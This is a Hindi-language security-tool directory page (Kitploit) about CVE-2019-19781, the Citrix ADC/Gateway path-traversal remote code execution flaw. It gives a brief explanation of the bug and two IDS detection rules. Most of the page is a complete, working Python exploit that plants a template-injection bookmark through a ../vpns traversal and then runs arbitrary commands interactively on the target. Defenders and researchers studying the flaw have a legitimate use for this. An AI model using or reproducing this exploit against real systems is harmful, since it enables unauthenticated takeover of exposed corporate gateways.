Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-19781 — RCE, Citirx ADC और Gateway Directory Traversal | Kitploit
उपकरण/GitHubGitHub/tpdlshdmlrkfmcla/cve-2019-19781
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubtpdlshdmlrkfmcla/cve-2019-19781

CVE-2019-19781

RCE, Citirx ADC और Gateway Directory Traversal

रिपॉजिटरी देखें
111 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

यह लेख CVE-2019-19781 में सूचीबद्ध Citrix ADC और Gateway Directory Traversal रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता के बारे में है। यह रिमोट कोड एक्ज़ीक्यूशन भेद्यता इसलिए उत्पन्न होती है क्योंकि /vpn पथ के नीचे ../vpns में smb.conf फ़ाइल का सत्यापन उचित रूप से नहीं किया जाता है।
सिस्टम कॉन्फ़िगरेशन जानकारी या सर्वर जानकारी चुराना

  1. Citrix
  • 1989 में स्थापित एक अमेरिकी बहुराष्ट्रीय सॉफ्टवेयर कंपनी

  • सर्वर, एप्लिकेशन और डेस्कटॉप वर्चुअलाइज़ेशन, नेटवर्किंग, SaaS और क्लाउड कंप्यूटिंग तकनीकें प्रदान करती है

  • कमज़ोर Citrix उत्पादों में इनपुट सत्यापन की कमी के कारण उत्पन्न होने वाली डायरेक्टरी ट्रैवर्सल भेद्यता- बिना इनपुट सत्यापन के अनुरोधित पथ का सीधे उपयोग करने से उत्पन्न होने वाली भेद्यता

  • कमज़ोर संस्करण वाले Citrix उत्पादों के /vpns/ पथ पर एक perl स्क्रिप्ट मौजूद है जो बिना प्रमाणीकरण के डायरेक्टरी सहित प्रतिबंधित फ़ाइलों तक पहुँच की अनुमति देती है

  • यह perl स्क्रिप्ट अनुरोधित पथ का सीधे उपयोग करती है

path delete

  • /../ शामिल अनुरोधों और /vpns/ डायरेक्टरी तक पहुँचने वाले अनुरोधों को ब्लॉक करता है

POC CODE

root@kitploit:~

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
root@kitploit:~
#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")

if len(sys.argv) < 2:
  print("[-] No URL provided")
  sys.exit(0)

while True:
    try:
      command = input("command > ")

      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
      print("[+] Adding bookmark", random_xml + ".xml")

      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)

      if r.status_code == 200:
        print("[+] Bookmark added")
      else:
        print("\n[-] Target not vulnerable or something went wrong")
        sys.exit(0)

      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
      r = requests.get(burp0_url, headers=burp0_headers,verify=False)

      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
      print("[+] Result of the command: \n")
      print(replaced)

    except KeyboardInterrupt:
            print("Exiting...")
            break

संदर्भ

  • https://nvd.nist.gov/vuln/detail/CVE-2019-19781

  • https://github.com/mpgn/CVE-2019-19781

  • https://github.com/jas502n/CVE-2019-19781

  • https://www.cisa.gov/uscert/ncas/alerts/aa20-031a

  • https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35250&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTktMTk3ODE=

  • https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance

  • https://support.citrix.com/article/CTX276688/citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance-security-update

  • https://www.tripwire.com/state-of-security/citrix-netscaler-cve-2019-19781-what-you-need-to-know

  • https://www.tenable.com/blog/cve-2019-19781-exploit-scripts-for-remote-code-execution-vulnerability-in-citrix-adc-and

  • https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/

टूल डाउनलोड करें